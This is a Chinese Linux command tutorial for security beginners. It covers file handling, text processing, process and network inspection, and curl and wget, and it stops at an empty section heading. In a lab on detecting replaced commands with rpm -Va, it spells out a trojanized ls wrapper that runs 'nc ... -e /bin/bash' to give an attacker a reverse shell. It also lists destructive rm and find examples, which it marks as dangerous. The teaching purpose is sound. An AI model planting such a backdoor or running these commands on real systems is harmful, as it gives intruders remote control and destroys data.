文章目录

  • START
  • 1. linux常用命令
  • 1.1 mkdir 命令
  • 1.2 ls 命令
  • 1.3 pwd 命令

  • 1.4 cd 命令
  • 1.5 touch 命令
  • 1.6 cp 命令
  • 1.7 mv 命令
  • 1.8 rm 命令
  • 2. linux文本查看相关命令
  • 2.1 cat 命令
  • 2.2 echo 命令
  • 2.3 more 命令
  • 2.4 less 命令
  • 2.5 head 命令
  • 2.6 tail 命令
  • 2.7 wc 命令
  • 2.9 du 命令
  • 2.10 diff 命令
  • 3. Linux系统管理的命令
  • 3.1 top 命令
  • 3.2 w 命令
  • 3.3 last 命令
  • 3.4 ps 命令
  • 3.5 netstat 命令
  • 3.6 lsof 命令
  • 3.6.1 lsof 命令使用
  • 3.6.2 利用 lsof 命令恢复已删除的文件(案例)
  • 3.7 kill 命令
  • 3.8 which 命令
  • 3.9 rpm -Va 命令检查文件完整性(案例)
  • 3.10 xargs 命令
  • 4. linux文本处理相关的命令
  • 4.1 awk 命令
  • 4.2 sed 命令
  • 4.3 grep 命令
  • 4.4 find 命令
  • 4.5 ag 命令
  • 4.6 stat 命令
  • 4.7 split 命令
  • 4.8 sort 命令
  • 4.9 uniq 命令
  • 4.10 nl 命令
  • 5. linux远程连接命令
  • 5.1 ssh 命令
  • 5.2 inux下远程连接smb
  • 5.4 rdesktop 命令
  • 6. linux URL 相关命令
  • 6.1 curl 命令
  • 6.2 wget 命令
  • 7. linux重定向命令
  • 7.1 `>` 命令
  • 7.2 `>>` 命令
  • 7.3 `<`命令
  • 7.4 `<<`命令
  • 8. linux vim编辑器
  • 8.1 命令模式常用指令
  • 8.2 一般模式常用指令


START

  • 在我们踏入网络安全这一行业的那一刻起,Linux就会一直陪伴在我们的整个职业生涯,甚至在一些特定的场景中,如果可以熟练的操作Liunx系统,那么会让你的工作效率将大大提高,下面就让我们来
    linux三大重要指令:whoami、pwd、cd

我是谁?,我在哪?,要去哪?

linux最重要三剑客:awk、sed、grep

1. linux常用命令

1.1 mkdir 命令

mkdir命令用于创建目录。

用法:mkdir [选项] [目录名]

参数:-p 创建多级目录,如果目录名称不存在,就新建一个。

案例:

mkdir AnQTroops
mkdir AnQTroops1 AnQTroops2
mkdir -p AnQTroops3/AnQTroops4

1.2 ls 命令

ls命令用于显示指定工作目录下之内容(列出指定目录所含之文件及子目录),ls命令的输出信息可以进行彩色加亮显示,以区分不同类型的文件。

用法:ls [选项] [目录]

参数:

  • -a 显示所有文件及目录 (. 开头的隐藏文件也会列出)
  • -l 除文件名称外,也将文件型态、权限、拥有者、文件大小等资讯详细列出
  • -h 以容易理解的格式列出文件大小

案例:

ls
ls -l
ls -a AnQTroops3
ls -al AnQTroops3

1.3 pwd 命令

pwd命令以绝对路径的方式显示用户当前工作目录。命令将当前目录的全路径名称(从根目录)写入标准输出。全部目录使用/分隔。第一个/表示根目录,最后一个目录是当前目录。执行pwd命令可立刻得知您目前所在的工作目录的绝对路径名称。

用法:pwd

案例:

pwd

1.4 cd 命令

cd命令用于切换当前工作目录。

用法:cd [目录]

案例:

cd AnQTroops

用法:cd [绝对路径]

案例:

cd /root/AnQTroops3/AnQTroops4

用法: .代表当前目录,..代表上一级目录,cd ~用于切换至登录用户家目录。cd -用于回到上一个目录。

案例:

cd .
cd ..
cd ~
cd -

1.5 touch 命令

touch命令用于创建一个空白的新文件,如果同名文件已存在,则修改其时间属性。

用法: touch [选项] [文件名]

案例:

touch AnQ1

1.6 cp 命令

cp命令主要用于复制文件或目录。

用法:cp [选项] [源文件] [目录]

参数:

  • -r:若给出的源文件是一个目录文件,此时将复制该目录下所有的子目录和文件。(递归)
  • -p:除复制文件的内容外,还把修改时间和访问权限也复制到新文件中。(保持默认属性)

案例;

cp AnQ1 AnQTroops
cp /root/AnQTroops/AnQ1 AnQTroops1
cp /root/AnQTroops/AnQ1 /root/AnQTroops2
cp -r AnQTroopsc AnQTroops3/AnQTroops4

1.7 mv 命令

mv命令用来为文件或目录改名、或将文件或目录移入其它位置。

用法:mv [选项] [源文件/源目录] [目录] 参数:

  • -f: 如果指定移动的源目录或文件与目标的目录或文件同名,不会询问,直接覆盖旧文件。(直接覆盖不询问)
  • -n: 不要覆盖任何已存在的文件或目录。(不覆盖已存在的文件)
mv AnQ1 A1
mv A1 AnQTroops
mv AnQTroops AnQTroops1

mv命令的另一种用法是将文件剪切。

mv 路径/文件名 路径、文件名
mv 1.txt /root
mv 2.txt /root/3.txt
mv /root/2.txt /root/1/1.txt

1.8 rm 命令

rm命令用于删除文件或者目录。

用法:rm [选项] [文件\目录]

  • -i 删除前逐一询问确认。
  • -f 即使原档案属性设为唯读,亦直接删除,无需逐一确认。
  • -r 将目录及以下之档案亦逐一删除。
rm A1
rm -f AnQ
rm AnQTroops1/AnQTroops/      #删除farmsec1/farmsec/目录下的所有文件
rm -r fAnQTroops1
rm -rf AnQTroops2
rm -rf /root/AnQTroops3

注意:rm -rf是一条危险的命令,代表递归删除某文件,如rm -rf /是递归删除根目录下的所有目录和文件,该命令不会询问,一旦执行系统将崩溃。

2. linux文本查看相关命令

2.1 cat 命令

cat命令用于打开文件查看文件内容。

用法:cat [选项] [文件]

案例:

cat /etc/passwd
cat -v AnQTroops               #加入参数-v后再查看

参数:

  • -v:除了 LFD(换行) 和 TAB 之外所有控制符,用 ^ 和 M- 显示。

2.2 echo 命令

echo命令用于输出指定内容。

用法:echo '[文本]'

echo '123'

利用>>>也可以将输出内容写入到文件中。

>     #为覆盖
>>    #为追加

使用>>>可以将命令的输出结果保存于文件中。

cat /etc/passwd >1.txt

2.3 more 命令

more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是,按空格键Space就往下一页显示,按Enier键显示文本的下一行内容,按 b键就会往回(back)一页显示,按q键退出。

用法:more [选项] [文件]

案例:

more /etc/passwd

2.4 less 命令

less 与more类似,用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序按q键。

用法:less [选项] [文件]

案例:

less /etc/passwd

2.5 head 命令

head命令用于查看文件的开头的内容。在默认情况下,head命令显示文件的头10行内容

用法:head [选项] [文件]

参数:

  • -n<行数> 显示的行数

案例:显示passwd文件前两行

head -n 2 /etc/passwd

2.6 tail 命令

tail 文件中的尾部内容。tail命令默认在屏幕上显示指定文件的末尾10行,如果给定的文件不止一个,则在显示的每个文件前面加一个文件名标题

用法:tail [选项] [文件]

  • 参数:-n<行数> 显示的行数

案例:查看passwd文件尾部三行内容。

tail -n 3 /etc/passwd
  • 参数:-f 循环读取

案例:查看新增的内容

tail -f /var/log/secure

/var/log/secure是系统远程登录日志,我们可以通过tail -f命令监控日志变化情况。

# 实战案例
使用管道操作符|可以把一个命令的标准输出传送到另一个命令的标准输入中,连续的|意味着第一个命令的输出为第二个命令的输入,第二个命令的输入为第一个命令的输出,依次类推。

题目:只显示passwd文本的第五行。

head -n 5 /etc/passwd |tail -n 1

2.7 wc 命令

wc命令用来计算数字。利用wc指令我们可以计算文件的Byte数、字数或是列数。

用法:wc [选项] [文件]

参数:

  • -l 显示行数
  • -c 显示Bytes数
  • -w 显示字数

案例:

wc -l /etc/passwd
wc -c /etc/passwd
wc -w /etc/passwd

2.9 du 命令

du命令可查看文件使用空间

用法:du [选项] [文件]

参数:

  • -h 以K,M,G为单位,提高信息的可读性。

案例:

du -h /etc/passwd

df :用于显示磁盘分区上的可使用的磁盘空间。默认显示单位为KB。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息。

2.10 diff 命令

diff 命令用于比较文件的差异。

diff以逐行的方式,比较文本文件的异同处。如果指定要比较目录,则 diff 会比较目录中相同文件名的文件,但不会比较其中子目录。

案例:

diff 1.txt 2.txt

diff命令所参考的不是第一个文件,而是第二个文件,它的输出信息有以下几种字符:

c: 表示必须做一些修改才能使两个文件相同

a: 表示必须添加一些内容才能使两个文件相同

d: 表示必须删除一些内容才能使两个文件相同

3. Linux系统管理的命令

3.1 top 命令

top可以实时动态地查看系统的整体运行情况,是一个综合了多方信息监测系统性能和运行信息的实用工具。通过top命令所提供的互动式界面,用热键可以管理。

案例:

top

第1行:top - 19:31:16 up 21:10, 2 users, load average: 0.00, 0.00, 0.00

内容

含义

19:31:16

表示当前时间

up 21:10

系统运行时间 格式为时:分

2 users

当前登录用户数

load average: 0.00, 0.00, 0.00

系统负载,即任务队列的平均长度。 三个数值分别为 1分钟、5分钟、15分钟前到现在的平均值。

第2行:Tasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie

第3行:%Cpu(s): 0.0 us, 0.0 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.3 hi, 0.0 si, 0.0 st

第2、3行为进程和CPU的信息 当有多个CPU时,这些内容可能会超过两行,其参数如下:

内容

含义

109 total

进程总数

1 running

正在运行的进程数

108 sleeping

睡眠的进程数

0 stopped

停止的进程数

0 zombie

僵尸进程数

0.0 us

用户空间占用CPU百分比

0.0 sy

内核空间占用CPU百分比

0.0 ni

用户进程空间内改变过优先级的进程占用CPU百分比

99.7 id

空闲CPU百分比

0.0 wa

等待输入输出的CPU时间百分比

0.3 hi

硬中断(Hardware IRQ)占用CPU的百分比

0.0 si

软中断(Software Interrupts)占用CPU的百分比


第4行:MiB Mem : 1775.3 total, 1369.3 free, 162.4 used, 243.6 buff/cache 第5行:MiB Swap: 1640.0 total, 1640.0 free, 0.0 used. 1466.1 avail Mem

为内存信息

内容

含义

KiB Mem:1775.3 tota

物理内存总量

1369.3 free

空闲内存总量

162.4 used

使用的物理内存总量

243.6 buff/cache

用作内核缓存的内存量

MiB Swap:1640.0 total

交换区总量

1640.0 free

空闲交换区总量

0.0 used

使用的交换区总量

1466.1 avail Mem

代表可用于进程下一次分配的物理内存数量

第6行: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND

为进程信息

列名

含义

PID

进程id

USER

进程所有者的用户名

PR

优先级

NI

nice值。负值表示高优先级,正值表示低优先级

VIRT

进程使用的虚拟内存总量,单位kb。VIRT=SWAP+RES

RES

进程使用的、未被换出的物理内存大小,单位kb。RES=CODE+DATA

SHR

共享内存大小,单位kb

S

进程状态。D=不可中断的睡眠状态 R=运行 S=睡眠 T=跟踪/停止 Z=僵尸进程

%CPU

上次更新到现在的CPU时间占用百分比

%MEM

进程使用的物理内存百分比

TIME+

进程使用的CPU时间总计,单位1/100秒

COMMAND

命令名/命令行

3.2 w 命令

w命令用于显示已经登陆系统的用户列表,并显示用户正在执行的指令。 执行这个命令可得知目前登入系统的用户有那些人,以及他们正在执行的程序。单独执行w命令会显示所有的用户,您也可指定用户名称,仅显示某位用户的相关信息。 案例:

w

3.3 last 命令

last命令用于显示用户最近登录信息。单独执行last命令,它会读取/var/log/wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。

用法:last [选项]

案例:

last 
last -5  #只显示5行
#案例实战
/var/log/wtmp文件

wtmp文件是二进制文件,该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件。因此随着系统正常运行时间的增加,该文件的大小也会越来越大,增加的速度取决于系统用户登录的次数。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前。

3.4 ps 命令

ps命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束。

用法:ps [选项]

参数:

  • -A 显示所有进程(同-e)
  • -a 显示当前终端的所有进程
  • -u 显示进程的用户信息
  • -o 以用户自定义形式显示进程信息
  • -f 显示程序间的关系
  • -x 显示所有程序,不以终端机来区分
  • -aux 显示所有包含其他使用者的行程

案例:

ps -aux|more
ps -aux|grep root|more

USER

PID

%CPU

%MEM

VSZ

RSS

TTY

STAT

START

TIME

COMMAND

行程拥有者

进程ID

CPU 使用率

内存使用率

进程使用的虚拟内存大小,以K为单位

驻留空间的大小。显示当前常驻内存的程序的K字节数。

终端的号码

进程状态

进程开始时间

执行的时间

所执行的指令

STAT进程状态包括下面的状态:

  • D 不可中断 Uninterruptible sleep (usually IO)
  • R 正在运行,或在队列中的进程
  • S 处于休眠状态 T 停止或被追踪
  • Z 僵尸进程
  • W 进入内存交换(从内核2.6开始无效)
  • X 死掉的进程
  • < 高优先级
  • N 低优先级 L 有些页被锁进内存
  • s 包含子进程
  • + 位于后台的进程组
  • l 多线程,克隆

3.5 netstat 命令

netstat命令用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。

用法:netstat [选项]

参数:

  • -a或–all:显示所有连线中的Socket;
  • -l或–listening:显示监控中的服务器的Socket;
  • -n或–numeric:直接使用ip地址,而不通过域名服务器;
  • -t或–tcp:显示TCP传输协议的连线状况;
  • -p或–programs:显示正在使用Socket的程序识别码和程序名称;

案例:

netstat -an
netstat -anltp

Proto

Recv-Q

Send-Q

Local Address

Foreign Address

State

PID/Program name

协议

网络接收队列

网路发送队列

本地地址

外部地址

端口状态

进程ID/程序名

协议:主要有tcp协议与udp协议, 网络协议是通信计算机双方必须共同遵从的一组约定。如怎么样建立连接、怎么样互相识别等。只有遵守这个约定,计算机之间才能相互通信交流。具体的内容,我们将会在之后的章节中介绍。

recv-Q 表示网络接收队列 表示收到的数据已经在本地接收缓冲,但是还有多少没有被进程取走。 如果接收队列Recv-Q一直处于阻塞状态,可能是遭受了拒绝服务 denial-of-service 攻击。

send-Q 表示网路发送队列

对方没有收到的数据或者说没有Ack的,还是本地缓冲区。 如果发送队列Send-Q不能很快的清零,可能是有应用向外发送数据包过快,或者是对方接收数据包不够快。

本地地址与外部地址,分别以本地IP+端口,外部IP+端口的形式表达。

  • IP地址是IP协议提供的一种统一的地址格式,目前,你只需知道它是由4组从0到255的数字组成,以0.0.0.0至255.255.255.255的形式表达的,可以表示计算机的网络位置(地址)的地址格式。更详细的内容我们将会在后续章节中介绍。
  • 端口(port),可以认为是设备与外界通讯交流的出口。目前您只需理解,如果把IP地址比作一间房子,端口就是出入这间房子的门,计算机上的各类服务借由此“门”与外界通信。一个IP可以有65535(216)个端口。在一个计算机上,每个服务都会启用一个端口。

state(当前端口状态)有以下几种状态:

端口状态

意义

LISTEN

侦听来自远方的TCP端口的连接请求

SYN-SENT

再发送连接请求后等待匹配的连接请求

SYN-RECEIVED

再收到和发送一个连接请求后等待对方对连接请求的确认

ESTABLISHED

代表一个打开的连接

FIN-WAIT-1

等待远程TCP连接中断请求,或先前的连接中断请求的确认

FIN-WAIT-2

从远程TCP等待连接中断请求

CLOSE-WAIT

等待从本地用户发来的连接中断请求

CLOSING

等待远程TCP对连接中断的确认

LAST-ACK

等待原来的发向远程TCP的连接中断请求的确认

TIME-WAIT

等待足够的时间以确保远程TCP接收到连接中断请求的确认

CLOSED

没有任何连接状态

3.6 lsof 命令

lsof命令用于查看你进程开打的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。

在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以如传输控制协议 (TCP) 和用户数据报协议 (UDP) 套接字等,系统在后台都为该应用程序分配了一个文件描述符,无论这个文件的本质如何,该文件描述符为应用程序与基础操作系统之间的交互提供了通用接口。因为应用程序打开文件的描述符列表提供了大量关于这个应用程序本身的信息,因此通过lsof工具能够查看这个列表对系统监测以及排错将是很有帮助的。

3.6.1 lsof 命令使用

如果输入lsof命令提示:未找到命令。那么我们需要进行安装。安装命令为yum -y install lsof

案例

lsof|more

COMMAND

PID TID TASKCMD

USER

FD

TYPE

DEVICE

SIZE/OFF

NODE

NAME

进程的名称

进程ID

进程所有用户

文件描述符,应用程序通过文件描述符识别该文件

文件类型

指定磁盘的名称

文件的大小

索引节点(文件在磁盘上的标识)

打开文件的确切名称

案例:

lsof 1.txt           #查看哪些进程打开了1.txt文件
lsof -c sshd         #查看sshd服务所打开的文件
lsof -i :22          #查看22端口有哪些进程在访问
lsof -p 1168         #查看1168进程号所打开的文件
lsof -u 0            #查看uid为0的用户打开的文件
lsof|grep /var/log/  #查看/var/log/下的文件被哪些进程打开
3.6.2 利用 lsof 命令恢复已删除的文件(案例)

需要恢复已删除的文件前提条件是还有进程打开这个文件,比如遭到黑客入侵往往总是会删除一些日志、木马文件等,假设我们ssh的登录日志被删除了,我们使用lsof查看,可以看到最后面有(deleted)这个状态。

1、lsof |grep /var/log/messages`这里pid对应的是699,所以我们需要查看699进程打开的文件描述。

2、cd /proc/699/fd

3、cp 7 /var/log拷贝这个文件。

4、更改文件名。

再使用ll查看就可以看到被删除对应的文件了,文件7对应的就是被删除的文件,将7里面的内容输入到被删除的目录文件就恢复了

3.7 kill 命令

kill命令用于结束进程。

用法:kill [选项] pid 案例:

kill -9 123456          #彻底杀死进程号为123456的进程

3.8 which 命令

which用于查找并显示给定命令的绝对路径,可以看到某个系统命令是否存在 用法:which [命令] 案例:

which cd

3.9 rpm -Va 命令检查文件完整性(案例)

rpm -Va 命令用于检查文件完整性

这里我们设计一个实验,假设linux系统中有命令被黑客替换,我们应当如何处理。

在前文中我们已经介绍了linux系统万物皆文件的特性,这种特性就可能会导致某命令被黑客修改替换。

保证有nc命令

安装nc命令:yum -y install nc

nc 命令:

nc是netcat的简写,是一个功能强大的网络工具,有着网络界的瑞士军刀美誉。nc命令在linux系统中实际命令是ncat,nc是软连接到ncat。nc命令的主要作用如下:

实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 端口的扫描,nc可以作为client发起TCP或UDP连接 机器之间传输文件 机器之间网络测速

#实验案例步骤
1、查找ls命令路径
# which ls
# whereis ls
2、查看ls原本的内容
# cat /usr/bin/ls
3、新建ls文件
# vim ls
# cat ls
4、新ls命令内容
# #!/bin/bash
# /opt/ls $*
# nc 192.168.10.96 2000 -e /bin/bash >/dev/null 2>&1
5、将原本的ls文件移动到/opt目录中,并将新ls文件移动到/usr/bin下
# chmod +x ls
# mv /usr/bin/ls /opt
# mv ls /usr/bin
# cat /usr/bin/ls
6、攻击机启动监听
# nc -lvp 2000
7、当受害者执行ls命令时会触发nc命令,攻击机可以看到反弹回来的shell
8、可以看到which结果和whereis结果并无可疑
# which ls
# whereis ls
9、查找被修改的命令,可以看到ls文件异常
# rpm -Va
10、而后将ls文件重新替换就好

----------分----------割----------线----------
 rpm命令我们经常使用,但是这个”-V”参数我们却很少使用,今天碰巧遇到,这里坐下总结。rpm -V用来检查已安装rpm包的完整性。所谓“完整性”,这里就是指安装rpm包产生的所有文件和原始rpm包中的信息是否一致。如果完全一致,则不做任何输出,只有发现有不正确的文件时才会输出。rpm -V的输出格式如下:

 SM5DLUGT c

 其中每当发现一个不一致的文件就会有一行类似的输出,一下是每个字符的含义:

 S:表示对应文件的大小(Size)不一致;

 M:表示对于文件的mode不一致;

 5:表示对应文件的MD5不一致;

 D:表示文件的major和minor号不一致;

 L:表示文件的符号连接内容不一致;

 U:表示文件的owner不一致;

 G:表示文件的group不一致;

 T:表示文件的修改时间不一致;

 c:只有文件是一个配置文件时才会有此标志,可以用这种方法快速定位rpm包的配置文件安装位置。(不是说只有文件不一致情况下才会显示吗?没错,但是配置文件通常会被修改,所以通常都会被检测出不一致)

 file:检测出不一致的文件安装路径;

 当然一般不可能一个文件的所有以上属性都不一致,所以检测通过的属性就会用一个“.”表示。

 l 例1:

 .M5....T /usr/X11R6/lib/X11/fonts/misc/fonts.dir

 表示/usr/X11R6/lib/X11/fonts/misc/fonts.dir这个文件的mode被修改了,MD5也不一致,文件的修改时间也发生了改变。

 l 例2:

 S.5....T c /etc/passwd

 表示/etc/passwd的Size,MD5,modify time不一致,且这是一个配置文件;

 l 例3:

 missing /var/spool/at/spool

 表示rpm包本来该生产/var/spool/at/spool文件,但却丢失了。

3.10 xargs 命令

xargs是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具。它擅长将标准输入数据转换成命令行参数,xargs能够处理管道或者stdin并将其转换成特定命令的命令参数。xargs也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。 xargs的默认命令是echo,空格是默认定界符。这意味着通过管道传递给xargs的输入将会包含换行和空白,不过通过xargs的处理,换行和空白将被空格取代。xargs是构建单行命令的重要组件之一。

案例:

cat 111 |xargs -n 3 #将内容进行排序,每行三个字段

ls * |xargs -n1 cat                            #将前面的结果传递作为子参数传递给后面的命令
cat 1.txt|xargs -n1 echo 'hello'

-P参数可以使xargs参数同时执行多个线程,使执行时间变短。

4. linux文本处理相关的命令

4.1 awk 命令

awk是一种处理文本文件的语言,是一个强大的文本分析工具。

相比较屏幕处理的优点,awk在处理庞大文件时不会出现内存溢出或是处理缓慢的问题,通常用来格式化文本信息。 awk也是一个非常棒的数据处理工具!相较于sed常常作用于一整个行的处理, awk则比较倾向于一行当中分成数个字段来处理。

awk处理过程: 依次对每一行进行处理,然后输出。

命令的基本格式是:awk ‘{print($1)}’

# 实验案例
1、cat 1.txt|awk '{print($2)}'                 #打印出文本中每行的第二个字段
2、cat /etc/passwd |awk -F ":" '{print($1)}'  #-F指定分隔符,以“:”为分隔符,打印出文本中每行第一个字段
3、
cat /etc/passwd |awk -F ":" '{print($1,"+++",$3)}'   #打印出第一个字段与第三个字段,并在其中间添加+++内容
cat /etc/passwd |awk -F ":" '{print($1"+++"$3)}'     #对比差异
4、
cat passwd | awk -F ":" '{print $NF}'       #打印出文本中每行的最后一个字段
cat passwd | awk -F ":" '{print $(NF-1)}'   #打印出文本中每行的倒数第二个字段。$(NF-1)为倒数第二,依此类推。

4.2 sed 命令

sed 是stream editor(流编辑器)的简称,是一款强大的,并且有些复杂的程序。

sed 本身是一个管线命令,可以将数据进行替换、删除、新增、提取特定行等功能,主要用来自动编辑一个或多个文件、简化对文件的反复操作、编写转换程序等。sed按行来执行命令。

#实验案例
接下来的实验,我们要以/etc/passwd文件内容为例子。

拷贝文件`cat /etc/passwd > 1.txt`

我们以一个例子来介绍`sed`命令,`sed 's/:/+/g'`

s代表搜索,g代表的则是全文。不加g的话则是替换每行第一个出现的。所以这条命令代表的将文件中所有的`:`替换为`+`

cat 1.txt |sed 's/:/+/3g' #代表的则是从第三次匹配开始替换(第三个:才开始替换+),依此类推。

sed -i 's/:/+/g' 1.txt #参数-i,直接修改文件,并非打印出来。

以上这些命令中是以/做为该命令的定界符,如果需要修改或者匹配的字段带有/则不能再使用/做为该条命令的定界符,可以使用任意的定界符,不冲突就行。cat passwd |sed 's!:!/!g' 以!号做为定界也是一样的。

此外,在此命令中,搜索位置使用^代表一行的开头,$代表一行的结尾。sed是以行为单位执行的。

# 实验案例
我们用如下案例展示:
创建一个 `ip.txt`文件,里面内容都是ip地址,现在要在ip地址前面添加`http://`

cat ip.txt |sed 's#^#http://#g'在每行之前加上http://

cat ip.txt |sed 's#$#:8080#g'在每行末尾加上“:8080”

sed '/^$/d' 2.txt删除空白的行。

sed '/^s/'d 删除文件中所有开头是s的行。

4.3 grep 命令

grep这个名字来自于短语“global regular expression print”,所以我们能看出 grep 程序和正则表达式有关联。本质上,grep 程序会在文本文件中查找一个指定的正则表达式,并把匹配行输出到标准输出。

命令格式: grep [options] [pattern] [filename]

参数:

# 实验案例
cat passwd |grep root                          # 只显示带有root关键字的行
grep -e root passwd                            # 匹配有root的行
grep -v root passwd                            # 忽略匹配到的行
cat passwd |grep -E "root|sshd"                # 包含多个可能性的行
cat passwd |grep -E '^r'                       # 以r开头的行
cat passwd |grep -E 'n$'                       # 以n结尾的行
grep “root” /etc/passwd /etc/shadow            # 查询多个文件
grep "passwd" /etc -rn                         # -r 为递归 -n 显示关键字出现在第几行   在多级目录中对文本进行递归查找

4.4 find 命令

find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。

这是一个超级复杂的命令,最简单的模式为:find 路径 -name [名字]

# 实验案例
find / -size 1000k                #从根目录查找大小为1000K的文件
find   -name '1*'                 #在当前目录下查找文件名以1开始的文件
find / -name '1*'                 #从根目录查找文件名以1开始的文件
find / -user AnQTroops1             #从根目录查找属主为AnQTroops1的文件
find / -group AnQTroops             #从根目录查找属组为AnQTroops的文件
find /etc -type f/d               #按sock类型查找,f代表文件,d代表目录
find . -type f -mtime -7          #搜索7天内当前目录下修改过的文件(-7代表7天内,7代表前7天那一天,+7代表7天前)
find . -type f -mmin -10          #搜索10分钟内当前目录下修改过的文件 
find . -atime -1 -type f          #搜索当前目录下一天内被访问的文件(-1代表1天内,1代表前1天那一天,+1代表1天前)
find . -amin -10 -type f          #搜索当前目录下10分钟内被访问的文件
find . -ctime -1 -type f          #搜索当前目录下一天内状态被改变(列如权限)的文件(-1代表1天内,1代表前1天那一天,+1代表1天前)
find . -cmin -10 -type f          #搜索当前目录下10分钟内状态被改变的文件
find . -perm 777                  #搜索处当前文件下符合777权限的文件
  • exec选项
find 搜索路径 [选项] 搜索内容 -exec 命令2{}\;
find . -type f -perm 644 -exec ls -l {} \;
find / -exec grep "Hello" {} \;

find / -name "*.tmp" -exec rm -f {} \;   (危险)
find / -name "*" -ctime +2 -exec rm -f {} \;(危险,别敲)

4.5 ag 命令

ag类似grepfind,但是执行效率比后两者高。

最基本的用法为ag -g <File Name>,从当前目录寻找文件

# 实验案例
ag -g <File Name>            # 类似于 find . -name <File Name>
ag -i PATTERN                # 忽略大小写搜索含PATTERN文本
ag -A [number] PATTERN       #搜索含PATTERN文本,并显示匹配内容之后的n行文本,例如:ag -A 5  abc会显示搜索到的包含abc的行以及它之后5行的文本信息。
ag -B [number] PATTERN       #搜索含PATTERN文本,并显示匹配内容之前的n行文本
ag -C [number] PATTERN       #搜索含PATTERN文本,并同时显示匹配内容以及它前后各n行文本的内容。
ag --ignore-dir <Dir Name>   #忽略某些文件目录进行搜索。
ag -w PATTERN                #全匹配搜索,只搜索与所搜内容完全匹配的文本。
ag --java PATTERN            #在java文件中搜索含PATTERN的文本。
ag --xml PATTERN             #在XML文件中搜索含PATTERN的

4.6 stat 命令

stat命令用于显示文件信息:

用法:stat [文件或目录]

stat /etc/passwd

4.7 split 命令

split命令可以将一个大文件分割成很多个小文件,有时需要将文件分割成更小的片段,比如为提高可读性,生成日志等。

参数:

  • -b 按文件大小进行切割
  • -l 按行数来进行切割
  • -d 为使用数字为生成文件的后缀
  • -a 指定后缀的长度

案例:

split -b 30k messages    # 按照每个文件30K大小切割messages文件。
split -l 300 messages    # 将messages文件切割为每3行一份。

4.8 sort 命令

sort命令是在Linux里非常有用,它将文件进行排序,并将排序结果标准输出。

cat 1.txt|sort            #默认的排序方式,从首字母开始
cat 1.txt|sort -t         #按照字典进行排序
cat 1.txt|sort -n         #按照数字进行排序

4.9 uniq 命令

uniq用于报告或忽略文件中的重复行,一般与sort命令结合使用。

要注意先排序,后去重。因为uniq命令只能消除相邻且相同的行。

cat 1.txt |sort -n |uniq              #排序去重
cat 1.txt|sort -n |uniq -c            #列出重复的次数
cat 1.txt |sort -n |uniq -d           #列出有哪些行是重复的

以上系列命令可以用于日志分析:

如统计IP地址的访问数量并按照数量进行排序: cat access_log |awk '{print($1)}'|sort|uniq -c |sort -nr |more

针对访问量最大的IP分析其访问内容: cat access_log |grep 'IP地址'|head -n 100

4.10 nl 命令

nl命令用于显示文件内容行号。

案例:

cat /etc/passwd |nl

5. linux远程连接命令

5.1 ssh 命令

ssh命令是Linux的远程连接工具。

ssh命令:Linux的远程连接工具

例如ssh 192.168.0.149,以当前终端用户身份远程连接IP为192.168.0.149的计算机。

  • -l 为指定用户 如 ssh -l farmsec 192.168.0.149以farmsec用户远程登录,也可写成ssh farmsec@192.168.0.149
  • -p 为指定端口号

执行ssh的默认情况下,会使用本地的用户名连接对方的用户名,例如本地的root连接对面服务器的root,如果两端用户名不一样,则需要使用-l username指定用户名。

再确认密码后,方能登录成功,而同时变化的文件为:/root/.ssh/known_hosts 在第一次登录时,openssh将会提示不知道这台登录的主机,只要输入yes,就会把这台主机的“识别信息”添加到known_hosts文件中. 第二次登陆后,则无须此步骤,但是如果出现错误,例如主机产生变化,则需要删除/root/.ssh/known_hosts内容。

5.2 inux下远程连接smb

Smb服务为网络文件共享协议,它允许应用程序和终端用户从远端的文件服务器访问文件资源 用法:在kali的文件–>其他位置–>连接到服务器处输入:smb://192.168.0.149/share

5.4 rdesktop 命令

rdesktop命令用于在linux下链接windows远程桌面。

用法:rdesktop 192.168.0.178

6. linux URL 相关命令

URL,既是俗称的网址/网页链接。

6.1 curl 命令

curl命令是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。

用法:curl [选项] [url]

参数:

  • -i 显示头部信息
  • -v 显示请求全过程解析
  • -O 下载

案例:

curl www.farmsec.com
curl www.farmsec.com -i
curl www.farmsec.com -v
curl -O https://bootstrap.pypa.io/get-pip.py

6.2 wget 命令

wget命令:用来从指定的URL下载文件。wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。

# 实验案例
wget https://bootstrap.pypa.io/get-pip.py
前面我们下载下的文件名都是乱码,所以我们需要给它自定义文件名 加入-O的参数即可指定文件名
wget  https://bootstrap.pypa.io/get-pip.py -O 123.py
如果文件比较大时,加入参数`-b`,进行后台下载,然后可使用使用`tail -f wget-log`查看进度。
-c:继续执行上次终端的任务;可以在下载中断后再次使用。

7. linux重定向命令

